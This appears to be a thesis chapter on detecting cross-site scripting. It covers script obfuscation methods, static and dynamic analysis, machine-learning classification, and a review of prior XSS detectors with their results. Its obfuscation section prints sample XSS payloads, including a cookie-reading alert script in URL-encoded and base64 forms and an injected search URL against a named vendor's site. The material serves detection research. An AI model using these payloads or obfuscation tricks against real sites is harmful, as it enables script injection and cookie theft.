The process of code obfuscation consists of making modifications to a program, such as changing the names of variables and functions, in order to make the code more difficult to read and understand. Both benign and malicious scripts may be obfuscated — for differing reasons. Usually, the purpose of obfuscating benign scripts is to protect privacy or intellectual property rights. In contrast, the obfuscation

of malicious scripts is carried out in order to hide the script's malicious intent; the obfuscation of malicious scripts is usually designed to evade the static inspection process. Attackers may apply multiple obfuscations in order to hide the malicious nature of their scripts in the most effective way possible [217]. Figure 2.6 shows an example of an obfuscated malicious script.

Fig. 2.6 A Real-World Obfuscated Drive-by Download [217]

2.5.1 Obfuscation Methods

Malicious script obfuscation techniques can be classified into 4 types, as follows: using ASCII or Unicode values; using the XOR operation; splitting the string; and applying a compression algorithm to the string. By applying these methods, JavaScript code (for instance) can be expressed as a set of numbers and randomized alphabetical and special characters so that it becomes disorderly and unreadable [103]. The types of obfuscation can be detailed as follows:

2.5.1.1 Using ASCII or Unicode values

This is the method which is most used to obfuscate script. The characters of the JavaScript code are replaced by numeric representations of their ASCII or Unicode values; this means that at first glance, the string does not look like a script at all (just a sequence of numbers) and that a time-consuming process must be undergone in order to decode the script and so understand what it might do. Such obfuscated strings may be converted back to their original form in the browser by using a variety of functions such as eval, unescap, and document.write.

2.5.1.2 Using the XOR operation

This method works by assigning a key value as one operand of an XOR operation, then each character of the script is modified by the application of this XOR operation to it (as the other operand). In other words, this key is applied to modify the script to be a sequence of alphabetical characters, digits, and symbols that are not readily understandable. In addition, if the key that was used to modify the string is lost or otherwise not known, it can take a very long time to decrypt to the original script.

2.5.1.3 Splitting the string

This method is based on splitting the string containing the script into several smaller strings; once this is done, these smaller strings are then re-ordered so as to reduce the readability of the script. The original script can be recovered by the use of the "+" operation, in the eval function, applying the known correct order of the substrings.

2.5.1.4 Compressing a string and replacing with a meaningless string

This method does not imply string compression in the normal sense. The output strings are, in fact, generally longer than the original clear-text strings on which they are based. However, the method does change words or characters in such strings to be otherwise meaningless strings which include special characters, etc. (producing outputs which look much like those produced by the XOR method). This process is performed using a tool which processes the input string as a grammatical statement.

An attacker may use any one of these methods or any combination of them to obfuscate malicious scripts, the aim being to make the detection of these malicious scripts very difficult. This study will look at the results of this obfuscation process in order to implement a framework which will assist in the detection and prevention of XSS attacks which use it. The malicious scripts which have been collected for the experiments that will be undertaken in order to develop this framework will include ones which have been obfuscated using a number of techniques: binary, hexadecimal, base64, and URL encoded. To discover the nature of these scripts, they have been de-obfuscated and then analysed.

For example, the following script is used as a basis for obfuscation.

```
<script>alert(document.cookie); </script>
```

Obfuscated by using URL encoding, this becomes:

```
%3Cscript%3E%0D%0Aalert%28document.cookie%29%3B%0D%0A%3C%2Fscript%3E
```

And the same script obfuscated by using "base64" is as follows:

```
PHNjcmlwdD4NCmFsZXJ0KGRvY3VtZW50LmNvb2tpZSk7DQo8L3NjcmlwdD4=
```

Here is another example:

```
http://bg.msi.com/service/search/?kw=';alert
(XSS by Keeper)//\';alert(XSS";alert(XSS by Keeper)//
\";alert(XSS by Keeper)//-->></script>">'><script>alert
(XSS by Keeper)</script>&type=product
```

When obfuscated using a URL encoding of a decimal representation of the original, this script becomes:

```
http://bg.msi.com/service/search/?kw=%27;alert%28string.
fromcharcode%2888,%2083,%2083,%2032,%2098,%20121,%2032,
%2075,%20101,%20101,%20112,%20101,%20114%29%29//\%27;
alert%28string.fromcharcode%2888,83,83%29%29//%22;
```

```
alert%28string.fromcharcode%2888,%2083,%2083,%2032,
%2098,%20121,%2032,%2075,%20101,%20101,%20112,%20101,
%20114%29%29//\%22;alert%28string.fromcharcode%2888,
%2083,%2083,%2032,%2098,%20121,%2032,%2075,%20101,
%20101,%20112,%20101,%20114%29%29//--%3e%3c/script
%3e%22%3e%27%3e%3cscript%3ealert%28string.fromcharcode
%2888,%2083,%2083,%2032,%2098,%20121,%2032,%2075,%20101
,%20101,%20112,%20101,%20114%29%29%3c/script%3e
&type=product
```

When the URL encoding is removed, the script becomes:

```
http://bg.msi.com/service/search/?kw=';alert(string.fromcharcode
(88, 83,83, 32, 98, 121, 32, 75, 101,101, 112, 101, 114))\';
alert(string.fromcharcode(88,83,83))//";alert(string.fromcharcode
(88, 83, 83,32, 98, 121, 32, 75, 101, 101, 112, 101, 114))
//\";alert(string.fromcharcode(88, 83, 83, 32, 98, 121,32, 75, 101,
101, 112, 101, 114))//--></script>">'>
<script>alert(string.fromcharcode(88, 83, 83, 32, 98, 121, 32, 75,
101, 101, 112, 101, 114))</script>&type=product
```

Which is still not understandable, of course, Only once the decimal representation of the characters has been reversed – such that all characters are again represented simply as themselves, does this script revert to its original form.

This last example shows that an attacker may use more than one technique in combination in order to make their malicious script more difficult to read.

2.6 Cross-Site Scripting — Types of Analysis

In this section, the methods employed for the analysis and detection of XSS scripts, and the advantages and disadvantages of each of these methods will be explored. There are two main criteria used for analysis, which of these criteria are triggered

helps to determine the kind of protections which must be used against the XSS attack in question: The point of deployment is one of these criteria, this is either the client-side or the server-side, and the second criterion is the analysis paradigm in use: static or dynamic [195].

2.6.1 Static Analysis

Static analysis is usually employed as part of a code review and is otherwise known as white-box testing. Static analysis works by running a static code analysis tool which highlights the potential vulnerabilities in a piece of software without actually running it. Static analysis applies techniques such as taint analysis and data flow analysis [148], and these techniques allow it to determine some attributes of the source code or object without executing it. The static analysis techniques used to detect XSS vulnerabilities in web applications are as follows:

- **Taint Propagation Analysis:** This applies data flow analysis in order to track the information flow from source to sink [84]. In order to provide good security, it is necessary to have strong filters positioned to work at run-time so that there are absolutely no vectors which can be used to inject malicious scripts. Thus, taint analysis on its own cannot provide a strong security mechanism.

- **String Analysis:** This form of analysis grew out of studying programs which were to be used for text processing. XDuce, a language designed for specifying XML transformations, uses formal language definitions and can be applied to the implementation of this kind of analysis. It has the ability to parse strings written in Java in order to check for errors embedded within them. [36]. Web applications tend to interpret their own internal scripts via a JavaScript interpreter, so this method (based on Java rather than JavaScript) is of little practical use for finding XSS vulnerabilities.

- **Preventing XSS Using Lists of Untrusted Scripts:** A comparison is made between the data provided by the user (e.g., via user input) and a list that contains various untrusted scripts [204]. In the OWASP document, it was indicate that,

"Do not use "blacklists", because if any changes occur... [the system] will be attacked." XSS scripts can be very variable, and this makes it easy to bypass any protection based on a blacklists.

- **Software Testing Techniques:** This kind of analysis is a mix between user behaviour simulation and user experience modelling. It can be employed to discover errors made in the development cycle. Although this method is unable to provide immediate protection for web applications, it does provide software testing techniques such as black-box testing, fault injection, and behaviour monitoring of web applications — which all help in the detection of vulnerabilities [168].

- **Bounded Model Checking:** This uses counterexample traces to reduce the number of insertion sanitization routines required to determine the causes of errors, and to increase the accuracy of error reports and code instrumentation. To verify the authenticity of the flow of information within web applications, this analysis process assigns states to variables representing current trust levels. Then, the bounded model checking technique is applied to verify the integrity of the functions [85]. This technique leaves out alias analysis and file resolution. These latter are problems which are found in most current systems, and so this compromises the usefulness of the analysis [92].

2.6.2 Dynamic Analysis

Dynamic analysis is, of course, the opposite of static analysis. A dynamic analysis will review an application's performance at code execution time; thus, it can understand, to a greater extent than a static analysis, what the code actually does [52].

- **Interpreter-based Approaches:** Pietraszek and Berghe [156] used an approach which employed an instrumenting interpreter to track the processing of untrusted data at the character level and to identify vulnerabilities; they used context-sensitive string evaluation at each susceptible sink. This method is

implemented by modifying an interpreter, but it is not easy to modify the interpreters of some programming languages (such as Java) .

- **Syntactical Structure Analysis:** A successful injection attack changes the syntactical structure of the exploited entity [183]. Thus, syntactical structure analysis examines the syntactic structure of output strings in order to detect any malicious code in any sub-string within a string being transferred from source to sinks. This method is successful for detecting any kind of vulnerabilities other than XSS. The latter is not detected because checking the syntactic structure is not enough to prevent this kind of work-flow attack caused by the interaction of multiple modules [15].

2.6.3 A Combination of Static and Dynamic Analysis

Lattice-based Analysis: WebSSARI is a tool which combines the advantages of static analysis with those of runtime analysis — so as to make finding security vulnerabilities easier. This tool uses flow-sensitive, intra-procedural analyses to detect vulnerabilities. The problem with this method is the fact that it may return large numbers of false positives and negatives due to its intra-procedural type-based analysis. Moreover, this method assumes that the filters that have been implemented to validate user input are safe (that is, they work perfectly). Therefore, this method may miss some real vulnerabilities. because the filters actually implemented may not be able to detect some malicious payloads [213].

2.6.4 Machine Learning Analysis

With regard to [122], machine-learning has been categorised as a quite separate approach, not to be classified as either a static or dynamic analysis. Machine Learning (ML) is a data science technique. The goal of machine-learning is to create software/hardware which can predict, hitherto unknown, outputs by learning from a set of training data and its (known) outputs. Outputs can be such things as document classifications, image classifications, behaviours, trends, etc. This type of analysis

relies on large data collections to be used as training data. Then, a complex algorithm can be put to work to identify the relationships between inputs and outputs using the features which can be extracted from the data. As a result, the classifier may be used to predict the classes of items of new (so far unseen) data (in our case, scripts). This research will focus on using machine-learning for XSS detection (in the first phase). Machine-learning will be discussed in detail in the next section.

2.7 Machine Learning Overview

In the course of the last decade or so, the use of machine learning has spread rapidly. The machine-learning concept, in overview, is that a computer system can be programmed to learn automatically, that is, with minimal human intervention, from data that is provided to it [48]. There are many examples in everyday life of systems which utilise machine learning: E-mail filters, recommender systems, advertisement placement, fraud detection, trading stocks, some web searches, and many others. Another, overall, definition of machine learning is a collection of methods that automatically find patterns in data, then use these patterns to predict future data [134]. With this definition in mind, Nilsson stated in [143] several reasons why using machine learning can be beneficial. The reasons that Nilsson cited are:

- Some tasks cannot be defined well, in detail, but can be readily described by using examples. It is possible to identify pairs of inputs and outputs which match according to a particular requirement, but not to find a concise relationship between those inputs and outputs. For these kinds of task, machine learning can be employed to adjust the internal structure of a classification system so that it can produce correct 'pairs' for a large number of input samples, learning the implicit relationship between inputs and outputs from the training examples.

- The tendency is for important relationships, existing between data items, to be hidden within big data.; thus, machine-learning methods are often used to extract these relationships.

- Developers sometimes produce systems which do not work as desired in the operational environment for which they were designed. The reason for this is that the characteristics of the data that will be encountered by the system may not be completely known at design time. To avoid this situation, machine-learning methods can be used so that the system can learn from the data it actually encounters, and therefore can perform its tasks more competently.

- The sheer amount of knowledge (in terms of relationships between items of data) needed to perform certain tasks well may be too great for human designers/programmers to deal with. However, machines that can learn this knowledge from the data itself may, over time, be able to deal with such situations.

- Some environments are subject to constant change. Machines can adapt to such environmental change using machine learning. This ability to adapt very rapidly reduces the need to redesign the system which must deal with such an environment.

This study will apply machine-learning, taking advantage of the features that are made available by it. The next section will identify and discuss the types of machine learning which can be used.

2.8 Machine Learning Types

There are three main types of machine learning. The categorisation into these types is based on the problem to be solved and the dataset(s) to be used. The types are as follows: (1) supervised learning, (2) unsupervised learning, and (3) reinforcement learning [34].

2.8.1 Supervised Learning

This type of machine learning trains a classifier system by using labelled data; that is, data the classifications of which are known in advance — e.g., examples of spam

emails alongside examples of non-spam emails, both accurately labelled as such so that the system can learn to distinguish between the two. In supervised learning, the system will learn how to recognize the different classes it will be presented with by looking at the training data and which kinds of data-item in this data is linked with which class [179]. Subsequently, then, it will be able to classify unlabeled data. Supervised learning is also called predictive learning because this type of machine-learning learns the links between the data-items and the labels in the training dataset in order to be able to predict the output classes for input data that are new to it. Typically, each input is pre-processed so that it is presented to the learning algorithm as a set of dimensional values which are usually represented as numbers and can be called features, attributes, or covariates. Such features can be used to represent complex structures such as images, sentences, email-message, etc. Similarly, the outputs of classification or prediction, which may also be termed response variables or labels, can be anything, but most of the methods assume these will be categorical or nominal and indicate, in each instance, a specific group. This machine-learning method solves a problem known as classification, pattern recognition, or regression [34, 134].

2.8.2 Unsupervised Learning

This method is, in the way it operates, quite different from supervised learning. In unsupervised learning, the system trains itself based only on unlabelled data. The aim of this type of learning is to discover at least some of the relationships which exist in the data and to derive a summary of these [179]. Also called descriptive learning, such algorithms are simply given the raw input, from which they must find interesting patterns in the data; this is also termed knowledge discovery. Unsupervised machine-learning is not a well-defined problem since the kinds of patterns which such an algorithm must look for are not well-defined. Moreover, there is no clear measure of success or failure that can be used [134]. "Unsupervised learning aims at clustering, dimensionality reduction, density estimation, finding association among features, and probability" [34].

2.8.3 Reinforcement Learning

This type of machine-learning is used for solving some of the problems which arise when automatic decision-making is required. These problems usually revolve around a sequence of decisions. Examples of systems which would use this type of learning are robot perception and movement systems, computer chess algorithms, and automated vehicle driving [34, 134]. Unfortunately, this type of learning is beyond the scope of this study.

This study will adopt the use of supervised learning because this type of machine-learning encompasses the classification technique on which this study will depend. The next section presents supervised learning in more detail.

2.9 Supervised Learning

In practice, supervised learning is the most widely used type of machine learning. This type of learning uses complex mathematical algorithms to improve the performance of a classification or prediction function which is given data, x, in the particular domain. Then, by using this improved function, the system should be able to accurately predict for interesting values $h(x)$ [129], which $h(x)$ is the best predicted value. In real applications, x may be represented by several dimensional points (known as features). For example, malicious (and benign) scripts may be represented via the features of readability $(x1)$, contains a script tag $(x2)$, contains image tag $(x3)$, and so forth. The goal of supervised learning is to find the best h, called the final hypothesis [34]. The process whereby supervised learning is achieved in relation to real problems can be summarized as shown in Figure 2.7.

After identifying the problem, the next step is to collect the necessary data. The collection of data resulting from this is called the dataset. Then, it must be determined which attributes, or features, are the most informative. After this, the data preparation and data pre-processing procedures must be defined; these depend very much on the problem to be solved. Feature selection is a process which identifies relevant features and removes from consideration as many irrelevant features as

Fig. 2.7 The Process of Supervised ML [111]

possible. The aim of this step is to reduce the number of dimensions of the data and so enable the algorithm to operate faster and more effectively [111]. The selection of the learning algorithm to use is probably the most important step here. Algorithm selection depends on trade-offs between the characteristics of the various algorithms, such as training speed, memory usage, the accuracy of new data prediction, etc. [128]. The algorithms used in supervised learning are divided into two categories: classification, and regression.

2.9.1 Classification

Classification is defined as a discrete mapping from input to output. The output can be, at its simplest, just one of only two responses for each input; where this is the case, the classification is termed a binary classification. When the output consists of a response chosen from more than two possibilities, the classification is termed

a multi-class classification [134]. The use of this category of supervised learning, classification, is widespread in relation to interesting real-world problems. Examples are document classification, image classification, and handwriting recognition. The common classification algorithms are as follows: support vector machine (SVM) classification, Neural Networks, Naïve Bayes, Decision Tree, discriminant analysis, and k nearest neighbours (kNN) [127].

2.9.2 Regression

Regression is much like classification except that the output or response variable is continuous [134]. Examples of systems which use this type of supervised learning are those that predict the temperature inside a building, depending on weather data, time, ... etc., and those that predict/discover/guess the age of the viewers who watch a particular video on YouTube. Common regression algorithms are linear regression, non-linear regression, generalized linear models, Decision Trees, and Neural Networks [127].

In this study, classification will be used to distinguish between user inputs: whether malicious or benign. This will be performed by investigating HTTP requests that have been sent to a web application.

2.10 Related Works

A number of studies have been conducted relating to the detection and prevention of attacks against web applications in general, and those perpetrated via XSS in particular. These studies have discussed detection and prevention from many perspectives and have used many techniques. This section will review how these related works have detected XSS attacks. This section will be laid out on the basis of the analysis techniques discussed, where the first sub-section will include static and dynamic analysis, and the second section will include the analysis of machine learning per-se.

2.10.1 Static / Dynamic Analysis

Nentwich et. al. provide a dynamic and static data tainting analysis technique for preventing cross-site scripting in [195]. The goal of this technique is to prevent any sensitive data being sent to a third party; this is accomplished by the use of monitoring software running on the user's browser. A mechanism was designed to track how sensitive data is used in a browser. This mechanism depends on dynamic data tainting, which works by ticking the sensitive data first, then when it is detected that scripts want to access this data, these scripts are run in a way which can be monitored, thus implementing dynamic tracking. The object in question may be tainted arithmetical or logical operations or assignments, e.g., ($+$, $-$, &, etc.); control structures and loops, such as (if, while, switch, for in); or function calls. When the evaluation of tainted data tries to transfer information to a third party, there are many actions that the tool can perform, such as logging, preventing the transfer, or stopping the program with an error. Unfortunately, the dynamic methods in this system cannot detect all of the possible kinds of control dependencies. There are ways in which an attacker can trick the dynamic analysis, by covering a variable not tainted in scope by using an if statement to obscure that variable. To deal with these cases, the static analysis must ensure that all variables receive a new value on any path within the tainted scope. If this is done, the problem is solved.

The Noxes tool is a system which is used to detect XSS. Noxes acts as a web proxy [105]; it is designed to mitigate XSS attacks and can be used manually or it can be set up to run automatically via the generation of rules. Noxes effectively protects against the leakage of sensitive information from the user's environment and generally requires minimal interaction from the user. It focuses on mitigating stored and reflected XSS attacks and is installed as a Microsoft-Windows-based personal web firewall application. It provides an extra layer of protection by allowing the user to control the communications that take place via the browser. Personal firewalls facilitate the control of the Internet connections which are active on the local machine. The system analyses the current page (being viewed) and extracts all the links embedded in that page. Then, it includes temporary rules in the firewall which

allow the user to follow up on these external links, but only once without the need for prompting. These rules are deleted by the garbage collector once they have remained unused for a certain period of time. All this is achieved by checking the referrer HTTP header and comparing this with the domain of the requested page. If a page which is linked to is not in the local domain, the system checks the temporary rules for this request. If it finds similarity, it allows the request. If it does not find anything relevant, it checks the permanent similarity rules. If it does not find any similarity related to the request, then the user is prompted for action manually: should the link-transfer be allowed or blocked. One issue is whether the referrer header is in the request. There are two cases where the request is missing a header: (i) in the case of a manually typed URL; (ii) in the case of clicking on a link in an email. Noxes usually allows the request in these two cases, since they do not contain sensitive information. Thus, Noxes will apply a defense mechanism to prevent attacks where such attacks are likely. The limitation of this technique is that it works against stored and reflected XSS attacks, but does not address DOM-based XSS [122].

XSS-GUARD is a framework that operates on the server-side [21] to detect XSS attacks, and it works by exploring the intentions of web applications. It is based on two observations: (a) web applications are written assuming that benign inputs will be received, which will return certain required responses when evaluated as HTML; (b) malicious inputs belie these intentions, causing HTML responses which exploit vulnerabilities in order to access sensitive data, etc. Since these intentions are implicit, the framework dynamically elicits these intentions from the web application during each execution of the application. The main idea of XSS-GUARD is to discover the intentions of a text which is to be evaluated via HTML by comparing the script itself to what the authors of the system describe as its “shadow.” This process allows the system to identify what functions, script-sequences, etc., the responses will use. If the string contains any script-sequence which is not authorized (and therefore not represented in the “shadow”), then the unauthorized elements of the string will be removed before the string is allowed to be evaluated. The main idea of XSS- GUARD is to discover the intention of a web application page HTTP response

by comparing this with its corresponding shadow page. A comparison is performed between the real page script and the shadow page script, if a variation is detected, this indicates a deviation from the intentions of the web application and thus indicates an attack. One limitation of XSS-GUARD is that its implementation depends on a JavaScript detection component in the browser. Another limitation is that an attacker may still attack a web browser via "quirks" [98]. Examples of tricks that can be used by the attacker to circumvent this system include the division of the script into a number of parts which are then re-assembled (together) on the browser, or (possibly in combination) the encryption of the script.

The Blueprint tool is quite similar to XSS-GUARD. It constructs a "blueprint" in the server which represents all the possible allowable content for the untrusted pages it must evaluate. Each script to be evaluated as HTML is first parsed and then its contents are compared against the "blueprint" of allowable scripts. Untrusted scripts which contain possible attacks are removed. [78, 118]. Blueprint has both a server-side component and a client-side script library [122], and it generates a parse tree by parsing the untrusted HTML which is present on the application server. The checking mechanism must be lenient enough to allow HTML content that has come from untrusted user input, but which is benign; and on the other hand strict enough to defend against hidden attacks using maliciously formed content which is intended to exploit the browser. The client-side model interpreter decoding assists in this process by providing JavaScript code which supports the creation of benign HTML elements such as documents, via createElement(), and text content, via doc.createTextnode(). This tool reduces the threats that can be introduced into scripts. Such protection is afforded, overall, by the use of the CSS parser, the JavaScript parser, and the URL parser. The CSS-based threats are reduced by using only static property names from a white list, such as "style," and disabling the use of dynamic properties such as set expression(...). To reduce the JavaScript parser threats, Blueprint is able to process data such as strings and numerical literals. The limitation of Blueprint is that it needs the developer to analyse and annotate the application manually, and this may introduce errors [49].

the ETSSDetector is a tool developed by T. S. Rocha and E. Souto in [164], to detect XSS vulnerabilities. It operates by analysing a web application's code and objects. Once it has analysed the web application, it is able to determine where data can be entered by the user which could contain attack code. It then constructs validation code for each of these points which, at run time, will attempt to filter out any malicious scripts. The system uses an emulator in its detection of vulnerable XSS, simulating the behaviour of the browser as it loads pages and executes dynamic content (such as links or fields to fill in). It also uses an extraction component which is responsible for the identification, collection, and analysis of the information required for evaluating a web application. The extracting process collects information such as links and form parameters, and also identifies which method, GET or POST, is used at each relevant point. In addition, a qualification component analyses the pages of the web application and analyses them to identify the location of each vulnerable point; this aims to determine the values that are appropriate for entering at each vulnerable point specifically. Further, there is a component, responsible for detecting the injection and execution of XSS attacks, which is assigned to each vulnerable point. ETSSDetector includes the use of a customized attack selection process. The result analysis component of the system enables the detection of XSS attacks through the analysis of the results which have resulted from the previous steps; this information allows the ETSSDetector to check if an attack has been executed or not, and then create a report indicating that the application has been tested. All information collected in order to perform all these functions is stored in a database. This is to facilitate the persistence of this data.

In [117] the researcher here uses quite a different method and focuses on dealing with the values of "href" given in hyperlink references. A Ghost.py based headless browser is used to provide a framework which contains a browser kernel that can interpret JavaScript. This set-up is utilized to load AJAX content by simulating the behaviour of a browser. Thus, the system is able to identify any hidden injection points. The idea of implementing an XSS vulnerability detection system on Ghost.py is that this can provide black-box testing which can be employed to test the web

server. This system is divided into two parts: a crawler module and a detection module. The basic function of the crawler module is the automatic surveying of web pages and the analysis of their content. It scrapes web pages in-depth and is controlled by a search algorithm which makes sure that the focus is kept on the same domain as the application. It uses a Python library called Beautiful Soup to analyse web pages. It can collect data from HTML and/or XML files and works with a parser to provide idiomatic ways of navigating, searching, and modifying the parse tree. The procedure is described in the Algorithm 1.

Algorithm 1: Automatically Expand DOM Elements [117]

```
Input: Response page HTML code
Output: HTML code after expanded
1. Obtain all tags which have event
attributes and store them in tag list;
2. Remove duplicated tags;
3. For each tag in tag list
(a) Simulate a click on next unvisited
tag;
(b) Mark it as visited;
4. If page jumps, go to step 5; Otherwise,
go to step 6;
5. Store new URL in URL list, jump to 2;
6. If DOM has been modified, jump to 1;"
```

The second part of the system is responsible for detecting XSS. This component employed the RSnake Cheat Sheet as a basis. So, information is assembled regarding a possible XSS attack. The system then refers to the information provided in the cheat sheet and judges whether an attack is actually being attempted. If an XSS attack is being made, the page will respond by showing an alert indicating the existence of XSS. The process of attack detection is shown in Figure 2.8.

All the above approaches use both static and dynamic analysis to detect XSS vulnerabilities and protect the web application server and user from attacks. Table 2.1 gives a summary of all the approaches previously mentioned.

This present study focuses on the use of machine learning for detecting XSS attacks; the next section reviews machine learning approaches used to protect web applications from XSS attacks and includes an explanation of the strengths and weaknesses of each approach.

Fig. 2.8 Process of Vulnerability Detection [117]

Approachs	Methdology	Goal	Limitations
Nentwich et. al [195]	Data tainting and static analysis	Prevent any sensitive data being sent to a third party	Covering variabled not tainte
Kirda et. al. (Noxes) [105]	Generating rules	Mitigating stored and reflected XSS attacks	DOM based XSS not addressed
Bisht et. al. (XSS-GUARD) [21]	Exploring intentions of the web application	Eliciting authorized scripts	depends on JavaScript detection component
Louw et. al. (Blueprint) [118]	Generating a parse tree from untrusted HTML	Searching for untrusted places on browser, removes untrusted HTML	Need to analyse manually and annotate
Rocha et. al. (ETSSDetector) [164]	Analysing the information in the web applications	Enabling correct filling of form submiting pages successfully	DOM based XSS not addressed
Liuet. al. (Ghost.py) [117]	Simulating the browser behaviour to obtain a hidden injection points	dealing with the value of "href"	—- —

Table 2.1 Summary of Static and Dynamic Analysis

2.10.2 Machine Learning Analysis

Classification techniques were applied in [115] by Likarish et. al. to identify XSS attacks. This approach, based on machine learning, detects malicious JavaScripts, and it should be noted that it is capable of detecting malicious scripts which have not previously been “seen” by the system. The researcher applied four selected classifiers in order to evaluate the performance of each in terms of the detection of malicious scripts. The classifiers evaluated were naive Bayes, ADTree, SVM, and RIPPER. A dataset was created by collecting both malicious and benign scripts from various sources: 50,000 benign scripts and 62 malicious scripts. This dataset was then used to train and test the classifiers. 15 selected features (out of 65 original attributes) were extracted on the basis of which the classifier was required to separate between malicious and benign scripts. Two experiments were conducted. The first experiment

was for the purpose of evaluating each classifier by using 10-fold cross-validation. The measurements used in this experiment were precision, recall, F2-score, and negative predictive power (NPP). Figure 2.9 shows the results of the evaluation of the Likarish system.

Classifier	Prec	Recall	F2	NPP
NaiveBay	0.808	0.659	0.685 (0.19)	0.996
ADTree	0.891	0.732	0.757 (0.15)	0.997
SVM	**0.920**	0.742	0.764 (0.16)	0.997
RIPPER	0.882	**0.787**	**0.806** (0.15)	0.997

Fig. 2.9 Evaluation of Likarish Classifiers [115]

In the second experiment, which was intended to evaluate the performance that could be expected of the system in the real world, the models created in the first experiment were employed to classify scripts that were not labelled; Figure 2.10 shows the results of this second experiment.

Classifier	# labeled	# mal	% all
NaiveBay	19	17 (89.5%)	0.772
ADTree	22	17 (81.0%)	0.772
SVM	21	19 (86.3%)	0.864
RIPPER	28	19 (67.9%)	0.864

Fig. 2.10 Likarish Classifiers Real World Performance Evaluation [115]

A drawback of these classifiers is that they tended to classify many smaller (shorter) benign scripts as malicious scripts. In addition, the number of malicious instances in the training dataset was too small to cover all the possible cases of XSS attack.

The above experiment, performed by Likarish et al. [115], was built upon the system described in [144] by Nunan et. al. In this study, the number of features was increased and they were categorized into three groups: (1) obfuscation-based, (2) suspicious patterns and (3) indicating HTML/JavaScript schemes. The techniques used in this study to perform automated classification of XSS attacks on web pages were the following. (1) The detection of obfuscated code— to detect any obfuscations present on the web page, such as encoding (hexadecimal, decimal, octal,

Unicode, base64, HTML reference characters). (2) web page decoding — to allow the extraction of features that are difficult to detect in their obfuscated state. (3) The extraction of the characteristics of the decoded script; this step extracts more features from the now non-obfuscated code. The generation of these features was carried out in order to enhance the results which could be expected from the machine-learning and increase the classification accuracy obtainable. Once the features had been generated, the classification process itself could take place. The aim of classification, here, was to classify the web pages as either XSS or non-XSS. The experiment was performed using two machine learning algorithms: the naive Bayes and the support vector machine (SVM) algorithms. The dataset used contained some pages that had been infected by XSS (positive examples/instances) and some that had not (negative examples/instances). The number of positives was 15,366; these had been collected from an XSSed database (http://www.xssed.com) of 57,207 web sites, that had been extracted from Dmoz (http://www.dmoz.org). The negative examples consisted of 158,847 web-sites that had been collected from ClueWeb09 (http://www.lemur project.org). The result of the experiment undertaken by using the naive Bayes and the support vector machine methods are shown in Figure 2.11 As demonstrated in this figure, these methods achieved high performance in terms of detection, accuracy, and (low) rates of false alarms.

COMPARISON AMONG THE RESULTS ACHIEVED BY NAIVE BAYES AND SVM CLASSIFIERS

Classifier	Naïve Bayes		SVM	
Database	*XSSed*		*XSSed*	
	Dmoz	*ClueWeb09*	*Dmoz*	*ClueWeb09*
Detection rate	95,02%	99,00%	94,07%	98,86%
Accuracy rate	98,54%	99,70%	98,58%	99,89%
False alarm	0,51%	0,22%	0,20%	0,02%
Total of instances	72.573	174.213	72.377	174.213

Fig. 2.11 Nunan Results Using Naive Bayes and Support Vector Machines [144]

In the approach described by "Machine Learning-based Cross-site Scripting Detection in Online Social Network s" [201] by Wang et. al, the researchers established

classification models for detecting XSS attacks on online social networks based on capturing identified features from web pages. The researchers identified two types of feature: similarity-based features and difference-based features. The similarity-based features were classified into four groups as follows: JavaScript features, HTML tag features, URL features, and keyword features. The difference-based features included: the speed of propagation/spread of suspicious JavaScript strings, the speed of spread of suspicious HTML tags, and the speed of spread of suspicious URLs. For this experiment, ADTree and AdaBoost were chosen as classifiers. ADTree was selected because its prediction accuracy is higher than that of other Decision Tree methods, and AdaBoost was selected because it generates a strong classifier using a linear combination of weaker classifiers. The dataset used contained both benign and malicious samples; there were 29,046 benign samples collected from Dmoz (http://www.dmoz.org), and 13,935 malicious samples collected from XSSed (http://www.xssed.com). It applied the classifiers on the data set via the Weka tool kit. Figure 2.12 demonstrates an evaluation of the ADTree classifier, and an evaluation of the ADABoost classifier is given in Figure 2.13.

EVALUATION OF FEATURES WITH ADTREE

Datasets	Features	TP Rate	FN Rate
Regular network (R data)	Similarity-based	0.902	0.098
	Two groups	0.893	0.107
With simulated OSN (S data)	Similarity-based	0.936	0.064
	Two groups	0.952	0.048

Fig. 2.12 Wang ADTree Classifier Evaluation [201]

EVALUATION OF FEATURES WITH ADABOOST.M1

Datasets	Features	TP Rate	FN Rate
Regular network (R data)	Similarity-based	0.93	0.07
	Two groups	0.925	0.075
With simulated OSN (S data)	Similarity-based	0.952	0.048
	Two groups	0.958	0.042

Fig. 2.13 Wang ADABoost Classifier Evaluation [201]

The experimental results demonstrated that the use of these methods is effective and efficient for detecting XSS across the OSN network.

The study "Prediction of Cross-Site Scripting Attack Using Machine Learning Algorithms " by B. Vishnu and K. Jevitha [194] demonstrates experimental results from using three different machine learning algorithms (Naïve Bayes, Support Vector Machine, and J48 Decision Tree) to predict cross-site scripting attacks. The experiments were performed using features based on both normal and malicious URLs and JavaScripts. The researchers created two datasets, one of them consisting of normal web pages and the other dataset containing pages with malicious URLs and JavaScripts. The normal web pages were obtained from Domz the open directory project and ClueWeb09 warc files (Web ARChive), maintained by the Lemur Project, and the malicious pages were collected from XSSed this project maintains the largest online XSS attack archive. The features identified for URLs were as follows: numbers of characters, presence of duplicate characters, presence of special characters, presence of script tags, requests for cookie, redirections, and the number of keywords. For JavaScript there were five features: the number of characters, the number of script functions, references to JavaScript files, the presence of user-defined functions, and requests for cookies. The dataset for URLs contains about 44,264 malicious URLs from XSSed. The web-pages collection included 19,646 benign web pages from Dmoz, and 296 benign web pages from ClueWeb09. This complete data collection was divided into two datasets: a URL dataset consisting of about 43,579 XSS instances and 14,146 non-XSS instances; and a dataset for JavaScripts consisting of about 32,256 XSS instances and 60,115 non XSS instances. Then the Weka tool was used to apply all three algorithms to both of these data sets. The overall results, comparing the performance of each of the three classifiers on both the URL dataset and JavaScript dataset, were as follows; the J48 classifier performed the same as the other algorithms in terms of True Positive Rate (TPR) and Precision, and on the other hand, it achieved comparatively better performance in terms of False Positive Rate (FPR).

Another approach using machine learning techniques for the static detection of malicious scripts was proposed in [202] by Wang et. al. The aim of this experiment was to analyse and extract features from malicious scripts, then use a support vector

machine method to classify these scripts. In this approach, twenty-seven features were extracted, seventeen based on [115], and ten on data analysis. One of the main ideas behind the extraction of the features was that some characters and sequences do have some special functions of limited use in benign scripts, but they are used much more in malicious scripts: e.g., the DOM-modifying function, the eval function, and the escape function. A particular challenge that the experiment faced was obfuscation techniques. This problem was solved by defining some of the 10 selected features so that their use would reduce the impact of obfuscation. Figure 2.14 shows the full twenty-seven features that were originally generated in the Wang experiment.

TABLE I. 27 FEATURES OF DATASET

1	the number of eval() function	15	the number of DOM modification functions
2	the number of the setTimeout() functions	16	the script's whitespace percentage
